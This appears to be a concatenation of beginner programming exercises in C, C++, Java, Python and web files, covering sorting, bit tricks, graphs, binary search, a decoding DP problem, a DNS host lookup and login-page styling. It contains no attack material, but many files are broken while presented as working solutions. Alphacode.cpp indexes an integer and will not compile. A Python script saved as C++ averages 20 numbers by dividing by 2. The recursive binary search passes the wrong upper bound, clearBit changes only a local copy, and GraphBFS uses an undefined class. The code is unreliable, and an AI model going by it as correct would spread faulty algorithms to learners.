        int current = array[i];
        int j = i - 1;
        while(j >= 0 && current < array[j]) {
            array[j+1] = array[j];
            j--;
        }
        array[j+1] = current;
    }
}


<|start_filename|>DSA/Bitmasking/bit_tasks.cpp<|end_filename|>
//a<<b=a*2^b
//a>>b=a/2^b

#include <iostream>
using namespace std;

bool isOdd(int n)
{
	//AND operator
    return(n&1);
}

//find nth bit
int findBit(int n,int i)
{
    int mask=(1<<i);
    int bit;
    if((n&mask)>0)
    bit=1;
    else
    bit=0;
    return bit;
}

//clearing ith bit
void clearBit(int n, int i)
{
	int mask= ~(1<<i);
	n=n&mask;
}


int main() {
    //last bit digit of 5 is 1 so it is odd
    int n=5,i;
    cin>>i;
    if(isOdd)
    cout<<"odd";
    else
    cout<<"even";
    cout<<endl;
    cout<<findBit(n,i);
    cout<<endl;
    clearBit(n,i);
    cout<<n;
}



<|start_filename|>CPP/sum_and_arithmetic_average_of_20_numbers.cpp<|end_filename|>
sum=0
n=20
for i in range(n):
  num=int(input("Please, write the number:"))
  sum+= num

arithmetic_average=sum/2
 
print(sum)
print(arithmetic_average)



<|start_filename|>CPP/Alphacode.cpp<|end_filename|>
/*AlphaCode-Question

Alice and Bob need to send secret messages to each other and are discussing ways to encode their messages:
Alice: “Let’s just use a very simple code: We’ll assign ‘A’ the code word 1, ‘B’ will be 2, and so on down to ‘Z’ being assigned 26.”

Bob: “That’s a stupid code, Alice. Suppose I send you the word ‘BEAN’ encoded as 25114. You could decode that in many different ways!”

Alice: “Sure you could, but what words would you get? Other than ‘BEAN’, you’d get ‘BEAAD’, ‘YAAD’, ‘YAN’, ‘YKD’ and ‘BEKD’. I think you would be able to figure out the correct decoding. And why would you send me the word ‘BEAN’ anyway?”

Bob: “OK, maybe that’s a bad example, but I bet you that if you got a string of length 5000 there would be tons of different decodings and with that many you would find at least two different ones that would make sense.”

Alice: “How many different decodings?”

Bob: “Jillions!”
For some reason, Alice is still unconvinced by Bob’s argument, so she requires a program that will determine how many decodings there can be for a given string using her code.
Input
Input will consist of multiple input sets. Each set will consist of a single line of at most 5000 digits representing a valid encryption (for example, no line will begin with a 0). There will be no spaces between the digits. An input line of ‘0’ will terminate the input and should not be processed.
Output
For each input set, output the number of possible decodings for the input string. Print your answer taking modulo "10^9+7"
Sample Input:
25114
1111111111
3333333333
0
Sample Output:
6
89
1*/



#include <iostream>
using namespace std;

int num_codes(int* n, int size) {
	 if (size == 1) {
		 return 1;
	 }
	 if (size == 0) {
		 return 1;
	 }
	 int output = num_codes(n, size - 1);
	 if (output[size - 2] * 10 + output[size - 1] <= 26) {
		 output += num_codes(n, size -2);
	 }
	 return output;
}

int num_codes_i(int * input, int size) {
	int* output = new int[size + 1];
	output[0] = 1;
	output[1] = 1;

	for (int i = 2; i <= size; i++) {
		output[i] = output[i - 1];
		if (input[i-2] *10 + input[i - 1] <= 26) {
			output[i] += output[i - 2];
		}
	}
	int ans = output[size];
	delete [] output;
	return ans;
}

int num_codes2(int* n, int size, int* arr) {
	 if (size == 1) {
		 return 1;
	 }
	 if (size == 0) {
		 return 1;
	 }
	 if (arr[size] > 0) {
		 return arr[size];
	 }

	 int output = num_codes(n, size - 1);
	 if (output[size - 2] * 10 + output[size - 1] <= 26) {
		 output += num_codes(n, size -2);
	 }
	 arr[size] = output;
	 return output;
}


int main() {

}


<|start_filename|>DSA/Graphs/make_graph-2.cpp<|end_filename|>
//weighted graphs using hashmap

#include <bits/stdc++.h>
using namespace std;

class Graph{
    unordered_map<string,list<pair<string,int>>>l;

   public:
    void addEdges(string x, string y,int val)
    {
        l[x].push_back(make_pair(y,val));
        l[y].push_back(make_pair(x,val));
    }

    void print()
    {
        //iterate over all the keys in the hash map
        for(auto x:l)
        {
            string city=x.first;
            list<pair<string,int>>nbrs=x.second;

            cout<<city<<"->";

            for(auto nbr:nbrs)
            {
                string dest=nbr.first;
                int dist=nbr.second;
                cout<<dest<<","<<dist<<" ";
            }
            cout<<endl;
        }
    }
};

int main() {
    Graph g;
    g.addEdges("A","B",10);
    g.addEdges("B","C",20);
    g.addEdges("C","A",30);

    g.print();
}


<|start_filename|>DSA/Strings/reverse.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   string s="abca";
   reverse(s.begin(),s.end());
   cout<<s;

}


<|start_filename|>CPP/binary_search.cpp<|end_filename|>

int binsearch(int A[], int low, int high, int key){
    
    if (low<=high){
        int mid = low + (high-low)/2;

        if(key== A[mid]){
            return mid;
        }
        
        else if (key<A[mid]){
            return binsearch(A, low, mid-1, key);
        }
        
        else
        {
            return binsearch(A, low, mid+1, key);
        }
    }
    return -1;
}


//Iterative Method:

int binsearch(int A[], int low, int high, int key){

    while(low<=high){

        int mid = (low + high)/2;

        if (A[mid]==key){
            return mid;
        }

        else if(key<A[mid]){
            high = mid-1;
        }

        else
        {
            low = mid+1;
        }
        
    }
    return -1;
}


<|start_filename|>CPP/SortingTechniques/SelectionSort.c<|end_filename|>
//Selection Sort
//We seect a position and then find the element that fits that position.
//Starting with position 0, we look for the smallest number in remaining array that would fit the position
//And swap the it with the index position.

//Characterisitcs
//Since in each pass, only one swap is performed, total number of swaps = n-1 = O(n)
//1.Thus, Selection Sort is good for less number of swaps.
//2. Intermediate results of Selection Sort are useful just like Insertion Sort.
//For k-passes, they give the k-smallest elements. Quite useful in algorithms.

//Time Complexity - O(n^2)
//Not Adoptive
//Not Stable

//Implementation
#include <stdio.h>

void swap(int *a, int *b)
{
    int temp = *a;
    *a = *b;
    *b = temp;
}

void Selection(int A[], int n)
{
    int j, k;
    for(int i=0; i < n-1; i++)
    {
        for(j=k=i; j < n; j++){
            if(A[j] < A[k])
                k = j;
        }
        swap(&A[i], &A[k]);// 1 swap per pass
    }
}

int main()
{
    int A[] = {45, 36, 14, 78, 24, 52, 83,-11, 232, 6};
    int n = sizeof(A)/sizeof(A[0]);

    Selection(A, n);
    printf("Sorted Array : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
}

<|start_filename|>Java/hostfinder.java<|end_filename|>
import java.io.*;
import java.util.*;
import java.net.*;
public class hostfinder {
    public static void main(String[] args)
    {
          // scanning Host
        Scanner sc = new Scanner(System.in);
      System.out.print("Enter website to find host : ");
      String host = sc.nextLine().trim();
        
        // try catch for exception handling 
        
        try {
            InetAddress iaddress = InetAddress.getByName(host);
  
            System.out.println("Host :" +iaddress.getHostName() +" Address : "+iaddress.getHostAddress());
        }
        catch (UnknownHostException e) {
            System.out.println("Exception Occured : "+e);
        }
    }
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/css/app/login.css<|end_filename|>
body { padding-top: 100px; padding-bottom: 40px; }
a { color: #15c; text-decoration: none; }
a:hover { color: #15c; text-decoration: underline; }
form,
label,
input[type=text],
input[type=checkbox],
input[type=password] {
  margin: 0;
}

.signin {
  width: 335px;
  margin: 0 auto;
}
.signin .alert {
  box-shadow: none;
  -moz-box-shadow: none;
  -webkit-box-shadow: none;
}
.signin-box {
  padding: 20px 25px 15px;
  background: #f1f1f1;
  border: 1px solid #e5e5e5;
}
.signin-box h2 {
  font-size: 16px;
  font-weight: normal;
  line-height: 17px;
  height: 16px;
  margin: 0 0 19px;
}

.signin-box input[type=checkbox] {
  vertical-align: bottom;
}
.signin-box input[type=text],
.signin-box input[type=password] {
  width: 100%;
  font-size: 15px;
  color: black;
  line-height: normal;
  height: 32px;
  margin: 0 0 20px;
  box-sizing: border-box;
}
.signin-box input[type=submit] {
  margin: 0 20px 15px 0;
}

.signin-box label {
  color: #222;
  margin: 0 0 5px;
  display: block;
  font-weight: bold;
  font-size: 13px;
}

.signin-box label.remember {
  display: inline-block;
  vertical-align: top;
  margin: 9px 0 0;
  line-height: 1;
  font-size: 13px;
}

.signin-box .remember-label {
  font-weight: normal;
  color: #666;
  line-height: 0;
  padding: 0 0 0 5px;
}

.signin-box ul {
  list-style: none;
  line-height: 17px;
  margin: 0;
  padding: 0;
}

<|start_filename|>CPP/two_stacks_sum.cpp<|end_filename|>

/**
 * @author      : abhj
 * @created     : Friday Oct 01, 2021 17:31:47 IST
 * @filename    : c.cpp
 */

#include "bits/stdc++.h"
#define int          long long int
#define mp           make_pair
#define pb           emplace_back
#define F            first
#define S            second
using vi       =     std::vector<int>;
using vvi      =     std::vector<vi>;
using pii      =     std::pair<int, int>;
using vpii     =     std::vector<pii>;
using vvpii    =     std::vector<vpii>;
using namespace std;
const int inf  =     1e18 + 10;
const int N    =     2e6 + 10;
int n, m, x;
void solve() {
	cin >> n >> m >> x;
	vi a (n), b (m);
	for (int i = 0; i < n; i++)
		cin >> a[i];
	for (int i = 0; i < m; i++)
		cin >> b[i];
	int sum = 0, cnt = 0, temp = 0, i = 0, j = 0;
	while (i < n and sum + a[i] <= x) {
		sum += a[i];
		i++;
	}
	cnt = i;
	while (j < m and i >= 0) {
		sum += b[j];
		j++;
		while (sum > x and i > 0) {
			i--;
			sum -= a[i];
		}
		if (sum <= x and i + j > cnt)
			cnt = i + j;
	}
	cout << cnt;
}

int32_t main() {
	ios_base::sync_with_stdio (false);
	cin.tie (0);
	solve();
	return 0;
}


<|start_filename|>DSA/Strings/sliding_window.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    vector<int>a={1,3,2,1,4,1,3,2,1,1,2};
    int n=a.size();
    int sum=8;
    int i=0,j=0,cs=0;

    while(j<n)
    {

        //right expansion
        cs+=a[j];
        j++;

        //left contraction
        while(cs>sum and i<j)
        {
            cs-=a[i];
            i++;
        }

        if(cs==sum)
        cout<<i<<" "<<j-1<<endl;
    }
}


<|start_filename|>DSA/Notes and examples/bubblesort.cpp<|end_filename|>
//repeatedly swap adjacent elements if they are in wrong order
// Online C++ compiler to run C++ program online
#include <iostream>
using namespace std;

void bubbleSort()
{
  int i;
  int arr[]={10,2,3,4,5};
  
  //for no.of iterations
  int counter=1;
  int temp;
  while(counter<5)
  {
      for(i=0;i<5-counter;i++)
      {
          if(arr[i]>arr[i+1])
          {
              //swapping
              temp=arr[i];
              arr[i]=arr[i+1];
              arr[i+1]=temp;
          }
      }
      //to jump to next iteration
      counter++;
  }
    cout<<"sorted array:\n";
    for(i=0;i<5;i++)
    cout<<arr[i]<<" \n";
  
}


int main() {
    int arr[]={10,2,3,4,5};
    // int i,j,temp;
    cout<<"given array is:\n";
    for(int i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    bubbleSort();
    return 0;
}


<|start_filename|>Java/binarySearchQuestion/celling.java<|end_filename|>
package com.binarySearchQuestion;

public class celling {
    public static void main(String[] args) {
        // brutal force high time complexity
//        int arr[]={2,3,5,9,14,16,18};
//        int target = 11;
//        int c =0;
//        int ans = 1000000;
//
//        for (int i = 0; i < arr.length ; i++) {
//            if (target<=arr[i]){
//                c = arr[i];
//                if(c<ans){
//                    ans = c;
//                }
//            }
//        }
//        System.out.println(ans);

        // optimised solution

    }
}


<|start_filename|>Java/Add_Group.java<|end_filename|>
import java.util.Scanner;

public class Add_Group {
    static Scanner input = new Scanner(System.in);
    
    public static void main(String [] args){
        add();
    }
    
         public static void add(){
        System.out.println("How may numbers would you like to add?");
        
        //  The number variable takes an input of type int from the user        
        int number = input.nextInt();
        
        //  The numArray variable holds an array of integers, the size of the array depends on the value stored in the number 
        //  variable. 
        int numArray[] = new int[number];
        
        //  The sum variable will hold the sum of all the values in numArray and it is initially assigned to zero
        int sum = 0;
        
        //  For each iteration of the loop:
        //  1: a number is taken from the user and stored in the array
        //  2: the number is added to sum
        for(int i = 0; i < number; i++){
            System.out.println("Enter number " + (i + 1));
            numArray[i] = input.nextInt();
            sum = sum + numArray[i];
        }
        
        System.out.println("Sum of the numbers is " + sum);
    }
}


<|start_filename|>DSA/Notes and examples/tokenization.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    //tokenization- "hi i am a student"
    //"i","am","a","student" are tokens

    char arr[50]="i am a student";
    char *ptr;
    ptr=strtok(arr," ");

    while(ptr!=NULL)
    {
        cout<<ptr<<endl;
        ptr=strtok(NULL," ");
    }
}



<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/js/app/app.js<|end_filename|>
$(document).ready(function() {
    // render select objects using todc-select2
    $("select").select2({
        placeholder: "Select...",
        containerCssClass: "span8",
        minimumResultsForSearch: 10
    });

    // correctly reset select2 object values
    $("form").on('reset', function() {
        $(this).find("select").val("").trigger("change");
    });
});

<|start_filename|>Java/EuclideanAlgorithms.java<|end_filename|>
// Java program to demonstrate working of extended
// Euclidean Algorithm


import java.util.*;
import java.lang.*;

public class EuclideanAlgorithms {
    public static void main(String[] args) {
        int a = 10;
        int b = 15; 
        int g;
        g = gcd(a, b);
        System.out.println("GCD(" + a +  " , " + b+ ") = " + g);
         
        a = 35; 
        b = 10;
        g = gcd(a, b);
        System.out.println("GCD(" + a +  " , " + b+ ") = " + g);
         
        a = 31; 
        b = 2;
        g = gcd(a, b);
        System.out.println("GCD(" + a +  " , " + b+ ") = " + g);
 
    }

    // extended Euclidean Algorithm
    public static int gcd(int a, int b)
    {
        if (a == 0)
            return b;
         
        return gcd(b%a, a);
    }
}

<|start_filename|>DSA/Bitmasking/unique_no.cpp<|end_filename|>
#include <iostream>
using namespace std;
int main() {
    int n;
    cin>>n;
    int no,ans=0;


    for(int i=0;i<n;i++)
    {
        cin>>no;
        
        //XOR operation
        ans=ans^no;
    }

    cout<<ans;
}


<|start_filename|>CPP/sieve-of-eratosthenes.cpp<|end_filename|>
// C++ program to print all primes
// smaller than or equal to
// n using Sieve of Eratosthenes
#include <bits/stdc++.h>
using namespace std;

void SieveOfEratosthenes(int n)
{
	// Create a boolean array
	// "prime[0..n]" and initialize
	// all entries it as true.
	// A value in prime[i] will
	// finally be false if i is
	// Not a prime, else true.
	bool prime[n + 1];
	memset(prime, true, sizeof(prime));

	for (int p = 2; p * p <= n; p++)
	{
		// If prime[p] is not changed,
		// then it is a prime
		if (prime[p] == true)
		{
			// Update all multiples
			// of p greater than or
			// equal to the square of it
			// numbers which are multiple
			// of p and are less than p^2
			// are already been marked.
			for (int i = p * p; i <= n; i += p)
				prime[i] = false;
		}
	}

	// Print all prime numbers
	for (int p = 2; p <= n; p++)
		if (prime[p])
			cout << p << " ";
}

// Driver Code
int main()
{
	int n = 30;
	cout << "Following are the prime numbers smaller "
		<< " than or equal to " << n << endl;
	SieveOfEratosthenes(n);
	return 0;
}


<|start_filename|>CPP/multiplication_table.cpp<|end_filename|>
#include <iostream>
using namespace std;

int main()
{
    int n; //stores the number whose multiplication table is required

    cout << "Enter number whose multiplication table you want: ";    //Taking user input
    cin >> n;
    cout<<"Multiplication table of " <<n<<" is:"<<endl;           
    for (int i = 1; i <= 10; i++) {                      //Login
        cout << n << " * " << i << " = " << n * i << endl;
    }
    return 0;
}


<|start_filename|>CPP/Data Structures/Stack Using Linked List/stack.cpp<|end_filename|>
#include <iostream>
#include "stackUsingLL.cpp"
using namespace std;


int main (){
    stack <int> s1;
    s1.push(1);
    s1.push(2);
    s1.push(3);
    cout << s1.getSize() << endl;
    s1.display();
    s1.pop();
    cout << s1.getSize() << endl;
    s1.display();
    
    stack <char> s2;
    s2.push('h');
    s2.display();
    return 0;
}

<|start_filename|>CPP/matrix multiplication.cpp<|end_filename|>
//matrix multiplication(2-D array)

#include<bits/stdc++.h>
using namespace std;

int main()
{
    int n1,n2,n3;
    cin>>n1 >>n2>> n3;
    
    int arr1[n1][n2];
    int arr2[n2][n3];
    int prod[n1][n3];
    
    cout<<"\n";
    
    for(int i=0;i<n1;i++)
    {
        for(int j=0;j<n2;j++)
        {
         cin>>arr1[i][j];   
        }
    }
    
    cout<<"\n";

    for(int i=0;i<n2;i++)
    {
        for(int j=0;j<n3;j++)
        {
         cin>>arr2[i][j];   
        }
    }
    
    for(int i=0;i<n1;i++)
    {
        for(int j=0;j<n3;j++)
        {
         prod[i][j]=0;   
        }
    }
    
    for(int i=0;i<n1;i++)
    {
        for(int j=0;j<n3;j++)
        {
            for(int k=0;k<n2;k++)
            {
                prod[i][j]+=arr1[i][k]*arr2[k][j];
            }
        }
    }
    
    cout<<"\n";
    
    for(int i=0;i<n1;i++)
    {
        for(int j=0;j<n3;j++)
        {
         cout<<prod[i][j]<<" ";
        }
        cout<<"\n";
    }
    return 0;
}


<|start_filename|>Python/Sakha/Sakha/templates/sites/contact.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/contact.min.css')}}">
{% endblock %}

{% block body %}
<section class="contactus--section">

    <div class="contactus__heading__container">
        <h1>CONTACT US</h1>
        <p>This is a customer support of Team Sakha. You can either call or send email 
            to our team and they will reach out as soon as possible.
        </p>
    </div>

    <div class="contactus__cards__container">

        <div class="call__card card">
            <div class="card__header">
                <h3>CALL US</h3>
            </div>
            <div class="card__body">
                <p>
                    Contact No : <a href="tel:+919122109422">+91-9122109422</a>
                </p>
                <p>
                    Hours : 9am to 5pm (MON - FRI)
                </p>
            </div>
        </div>

        <div class="mail__card card">
            <div class="card__header">
                <h3>MAIL US</h3>
            </div>
            <div class="card__body">
                <p>
                    Email : 
                    <a href="mailto:<EMAIL>">
                        <EMAIL>
                    </a>
                </p>
            </div>
        </div>

    </div>

</section>
{% endblock %}

<|start_filename|>DSA/Notes and examples/string_array.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int main()
{
	string str[20];
	int n;	
	cin>>n;
	cin.get();
	
	for(int i=0;i<n;i++)
	getline(cin,str[i]);
	
	//sorting string
	
	sort(str,str+n);
	
	for(int i=0;i<n;i++)
	cout<<str[i]<<endl;
	return 0;
}


<|start_filename|>CPP/guess your number.cpp<|end_filename|>
#include <iostream>

using namespace std;
class Guess_Number{
	private:
		int guess=75;
		int askNum;
	public:
		Guess_Number():guess(75),askNum(0){
			
		}
		void Ask_Num(){
			
			cout<<"Enter your guess number"<<endl;
			cin>>askNum;
			
		}
		void comparator(){
			int i=10;
			do{
			
			if (guess < askNum){
			

                  cout << "Your estimate is less" << endl;
				  
				  }

            else if (guess > askNum){
			

                  cout << "Your estimate is more" << endl;
				  
				  }

            else if(guess==askNum){
			
			

                  cout << "Your guess is right! .Congratulations" << endl; break;
				  }
         i--;
        		cout<<"Try again you have "<<i<<" try left"<<endl;
        		Ask_Num();
        	
			
		}
			
		

       while (guess != askNum||i==0);}
       ~Guess_Number(){
	   }
       
		
		
		
};
int main(){
	Guess_Number A;
	A.Ask_Num();
	A.comparator();
	
}


<|start_filename|>Java/exchangeSort.java<|end_filename|>
import java.util.*;
 
public class ExchangeSort {
 
   public static void main(String[] args) {
 
      int[] arr = {99, 77, 55, 33, 11, 88, 66, 44, 22};
      System.out.println("Unsorted: " + Arrays.toString(arr));
 
      exchangeSort(arr);
      System.out.println("Sorted  : " + Arrays.toString(arr));
   }
 
   public static void exchangeSort(int[] arr) {
 
      for (int i = 0; i < arr.length - 1; i++) {
         for (int j = i + 1; j < arr.length; j++) {
            if (arr[i] > arr[j]) {
               int temp = arr[i];
               arr[i] = arr[j];
               arr[j] = temp;
            }
         }
      }
   }
 
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/java/com/todc/addressbook/repository/ContactRepository.java<|end_filename|>
package com.todc.addressbook.repository;


import com.todc.addressbook.domain.Contact;

import org.springframework.data.jpa.repository.JpaRepository;

import java.util.List;


/**
 * @author <NAME> (<EMAIL>)
 */
public interface ContactRepository extends JpaRepository<Contact, Long> {

    public Contact findById(Long id);

    public List<Contact> findAll();

}


<|start_filename|>C/swap_xor.c<|end_filename|>
//swapping without using 3rd variable
//xor bitwise operator
#include<stdio.h>
int main()
{
 int a, b;
 printf("Enter value of a:");
 scanf("%d",&a);
 printf("Enter value of b:");
 scanf("%d", &b);
 a=a^b;
 b=a^b;
 a=a^b;
 printf("After swapping:\na=%d", a);
 printf("\nb=%d", b);
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/css/app/global.css<|end_filename|>
table {
  font-size: 100%;
}
table thead th {
  text-transform: uppercase;
  font-size: 12px;
}

/* --- TOP NAVBAR ---------------------------------------------------------- */

.navbar-inverse .brand {
  color: #fff;
}
.navbar-inverse .brand:hover {
  color: #fff;
}
.navbar-inverse .brand img {
  margin-bottom: 2px;
}
.navbar-inverse .nav > li > a.logged-in-user {
  color: #fff;
}

/* --- BODY ---------------------------------------------------------------- */

.bd {
  margin-top: 40px;
}

/* flash messages */
.flash {
  display: block;
  margin: 0 20px 20px;
  font-weight: bold;
  box-shadow: none;
  -moz-box-shadow: none;
  -webkit-box-shadow: none;
}

/* forms */
form .controls {
  margin-bottom: 5px;
  line-height: 28px;
}
.select2-container {
  line-height: 20px;
}
.required:before {
  content: "*";
  color: #c00;
  font-weight: bold;
}

/* --- FOOTER -------------------------------------------------------------- */

.ft {
  font-size: 11px;
  text-align: center;
}
.ft .app {
  margin-left: 10px;
}

<|start_filename|>implcs.java<|end_filename|>
public class Imp_lcs {          //-------------------------------------1

public static void main (String[] args) {
    String X = "AGGTAB";       //--------------------------------------2
    String Y = "GXTXAYB";      //--------------------------------------2

    int m = X.length();        //--------------------------------------3 
    int n = Y.length();        //--------------------------------------3
 
    lcs_method(X, Y, m, n);

} 

static void lcs_method (String X, String Y, int m, int n) {   //-------4

int [][] arr = new int [m+1] [n+1];  //------------------------------5.a

for (int i = 0; i<=m; i++) {         //---------------------------- ---5.b
    for (int j = 0; j<=n; j++) {     //--------------------------------5.b
  
        if (i==0 || j==0){           //--------------------------------5.c.i
            arr [i][j] = 0;  
        }

        else if (X.charAt(i-1) == Y.charAt(j-1)) {    //---------------5.c.ii
            arr[i][j] = arr[i-1][j-1] + 1; 
        }

        else {
            arr [i][j] = Math.max(arr[i-1][j], arr[i][j-1]);  //-------5.c.iii
        }

}
}

int index = arr[m][n];               //--------------------------------5.d  
int print = index;

char[] LCS = new char[index+1];      //--------------------------------5.e
LCS[index] = '\u0000';  // to set the terminating default value for character array

int i = m;
int j = n;

while (i>0 && j > 0){

    if (X.charAt(i-1) == Y.charAt(j-1)){        //---------------------5.f.i
        LCS[index-1] = X.charAt(i-1);
        i--;
        j--;
        index--;
    }

    else if (arr[i-1][j] > arr[i][j-1])         //---------------------+5.d
        i--;
    else
        j--;       
}

System.out.print( "\n\nLCS of the sequence " +X+ " and sequence " +Y+ " is :  ");
   for (int k=0; k < print; k++)               //---------------------+5.g
   System.out.print( LCS[k]);
   System.out.print( "\n\n" );
}


}


<|start_filename|>Java/Circular_Queue.java<|end_filename|>
// Circular Queue implementation in Java

public class Circular_Queue {
    int SIZE = 5; // Size of Circular Queue
    int front, rear;
    int items[] = new int[SIZE];
  
    Circular_Queue() {
      front = -1;
      rear = -1;
    }
  
    // Check if the queue is full
    boolean isFull() {
      if (front == 0 && rear == SIZE - 1) {
        return true;
      }
      if (front == rear + 1) {
        return true;
      }
      return false;
    }
  
    // Check if the queue is empty
    boolean isEmpty() {
      if (front == -1)
        return true;
      else
        return false;
    }
  
    // Adding an element
    void enQueue(int element) {
      if (isFull()) {
        System.out.println("Queue is full");
      } else {
        if (front == -1)
          front = 0;
        rear = (rear + 1) % SIZE;
        items[rear] = element;
        System.out.println("Inserted " + element);
      }
    }
  
    // Removing an element
    int deQueue() {
      int element;
      if (isEmpty()) {
        System.out.println("Queue is empty");
        return (-1);
      } else {
        element = items[front];
        if (front == rear) {
          front = -1;
          rear = -1;
        } /* Q has only one element, so we reset the queue after deleting it. */
        else {
          front = (front + 1) % SIZE;
        }
        return (element);
      }
    }
  
    void display() {
      /* Function to display status of Circular Queue */
      int i;
      if (isEmpty()) {
        System.out.println("Empty Queue");
      } else {
        System.out.println("Front -> " + front);
        System.out.println("Items -> ");
        for (i = front; i != rear; i = (i + 1) % SIZE)
          System.out.print(items[i] + " ");
        System.out.println(items[i]);
        System.out.println("Rear -> " + rear);
      }
    }
  
    public static void main(String[] args) {
  
      Circular_Queue q = new Circular_Queue();
  
      // Fails because front = -1
      q.deQueue();
  
      q.enQueue(1);
      q.enQueue(2);
      q.enQueue(3);
      q.enQueue(4);
      q.enQueue(5);
  
      // Fails to enqueue because front == 0 && rear == SIZE - 1
      q.enQueue(6);
  
      q.display();
  
      int elem = q.deQueue();
  
      if (elem != -1) {
        System.out.println("Deleted Element is " + elem);
      }
      q.display();
  
      q.enQueue(7);
  
      q.display();
  
      // Fails to enqueue because front == rear + 1
      q.enQueue(8);
    }
  
  }

<|start_filename|>Java/GraphBFS.java<|end_filename|>
import java.io.*;
import java.util.*;

class GraphBFS
{
    private int V;                              //number of nodes in the graph
    private LinkedList<Integer> adj[];              //adjacency list
    private Queue<Integer> queue;                   //maintaining a queue
 
    GraphBFS(int v)
    {
        V = v;
        adj = new LinkedList[v];
        for (int i=0; i<v; i++)
        {
            adj[i] = new LinkedList<>();
        }
        queue = new LinkedList<Integer>();
    }

 
    void addEdge(int v,int w)
    {
        adj[v].add(w);                          //adding an edge to the adjacency list (edges are bidirectional in this example)
    }
 
    void BFS(int n)
    {

        boolean nodes[] = new boolean[V];       //initialize boolean array for holding the data
        int a = 0;
 
        nodes[n]=true;                  
        queue.add(n);                   //root node is added to the top of the queue
 
        while (queue.size() != 0)
        {
            n = queue.poll();             //remove the top element of the queue
            System.out.print(n+" ");           //print the top element of the queue
 
            for (int i = 0; i < adj[n].size(); i++)  //iterate through the linked list and push all neighbors into queue
            {
                a = adj[n].get(i);
                if (!nodes[a])                    //only insert nodes into queue if they have not been explored already
                {
                    nodes[a] = true;
                    queue.add(a);
                }
            }  
        }
    }

    public static void main(String args[])
    {
        Graph graph = new Graph(6);
 
        graph.addEdge(0, 1);
        graph.addEdge(0, 3);
        graph.addEdge(0, 4);
        graph.addEdge(4, 5);
        graph.addEdge(3, 5);
        graph.addEdge(1, 2);
        graph.addEdge(1, 0);
        graph.addEdge(2, 1);
        graph.addEdge(4, 1);
        graph.addEdge(3, 1);
        graph.addEdge(5, 4);
        graph.addEdge(5, 3);
 
        System.out.println("The Breadth First Traversal of the graph is as follows :");
 
        graph.BFS(0);
    }
}

<|start_filename|>CPP/Median_of_2_sorted_arrays.cpp<|end_filename|>
/***** Median of 2 sorted arrays ******/
/***** Contributed by <NAME> ******/
/***** Time Complexity - O(min(logn1,logn2)) ******/
/***** Space Complexity - O(1) ******/


#include<bits/stdc++.h>
using namespace std;

//function for median calculation
double findMedianSortedArrays(vector<int> arr1,vector<int> arr2)
{
    int n1 = arr1.size();
    int n2 = arr2.size();

    if(n1 > n2)
        return findMedianSortedArrays(arr2,arr1);

    int left = 0;
    int right = n1;

    while(left <= right)
    {
        int cut1 = (left + right)/2;
        int cut2 = (n1 + n2 + 1)/2 - cut1;

        int l1 = cut1 == 0 ? INT_MIN : arr1[cut1 - 1];
        int l2 = cut2 == 0 ? INT_MIN : arr2[cut2 - 1];

        int r1 = cut1 == n1 ? INT_MAX : arr1[cut1];
        int r2 = cut2 == n2 ? INT_MAX : arr2[cut2];

        if(l1 <= r2 && l2 <= r1)
        {
            if((n1 + n2) % 2 == 0)
                return (double)(max(l1,l2) + min(r1,r2))/2.0;
            else
                return (double)max(l1,l2); 
        }
        else if(l1 > r2)
        {
            right = cut1 - 1;
        }
        else
        {
            left = cut1 + 1;
        }
    }

    return 0.0;
    
}


int main()
{
    int n1,n2;
    cin>>n1>>n2; // n1 -> size of 1st array and n2 -> size of 2nd array
    vector<int> arr1(n1);
    vector<int> arr2(n2);

    for(int i = 0; i < n1; i++) cin>>arr1[i]; // taking inputs for 1st array

    for(int i = 0; i < n2; i++) cin>>arr2[i]; // taking inputs for 2nd array

    //lets deal with the smaller array first

    double median = findMedianSortedArrays(arr1,arr2);

    cout<<"The median of the 2 sorted arrays is: "<<median;

}

<|start_filename|>JS/iOS8 calculator/css/style.css<|end_filename|>
* {
	margin: 0;
	padding: 0;
	box-sizing: border-box;
	font: normal 25px Arial, sans-serif;
  -webkit-touch-callout: none;
  -webkit-user-select: none;
  user-select: none;
}

html {
	height: 100%;
	background: url(https://33.media.tumblr.com/d4a884274dff05760e01bd3bdcc6defb/tumblr_nb1ulnMaP91st5lhmo1_1280.jpg);
	background-size: cover;
}


#calculator {
	width: 325px;
	height: auto;
	overflow:hidden;
	margin: 100px auto;
	padding: 20px 20px 9px;
	position:relative;
	background: rgba(0,0,0,0.3);
	border-radius: 3px;
	box-shadow:  0px 10px 15px rgba(0, 0, 0, 0.2);
}


.top span.clear {
	position:absolute;
  z-index:6;
 
}


.top .screen {
	height: 80px;
	width: 100%;
	position:absolute;
  top:0; left:0;
	padding: 20px 10px;
	background: rgba(0, 0, 0, 0.2);
	font-size: 27px;
  font-weight:normal;
	line-height: 40px;
	color: white;
	text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.2);
	text-align: right;
	letter-spacing: 1px;
}

.keys, .top {overflow: hidden;}


.keys span, .top span.clear {
	float: left;
	position: relative;
	top: 0;
	
	cursor: pointer;
	
	width: 66px;
	height: 56px;
	
	background: rgba(0,0,0,0.5);
	border-radius: 3px;
	box-shadow: 0px 4px rgba(0, 0, 0, 0.2);
	
	margin: 0 7px 11px 0;
	
	color: #ccc;
	line-height: 56px;
	text-align: center;
	
	user-select: none;
	

	transition: all 0.2s ease;
}


.keys span.operator {
	background: rgba(250,100,0,0.3);
	margin-right: 0;
}

.keys span.eval {

	color: #888e5f;
}

.top span.clear {
	background: transparent;
	box-shadow: none;
	color: #aaa;
  width:56px;
  left:5px
}


.keys span:hover {
	background: rgba(255,255,255,0.8);
	color: #333;
}

.keys span.eval:hover {
	background: #abb850;
	color: #ffffff;
}

.top span.clear:hover {
  border-radius:190px;
	background: rgba(0,0,0,0.1);
	color: white;
}

.keys span:active {
	box-shadow: 0px 0px rgba(0, 0, 0, 0.2);
	top: 4px;
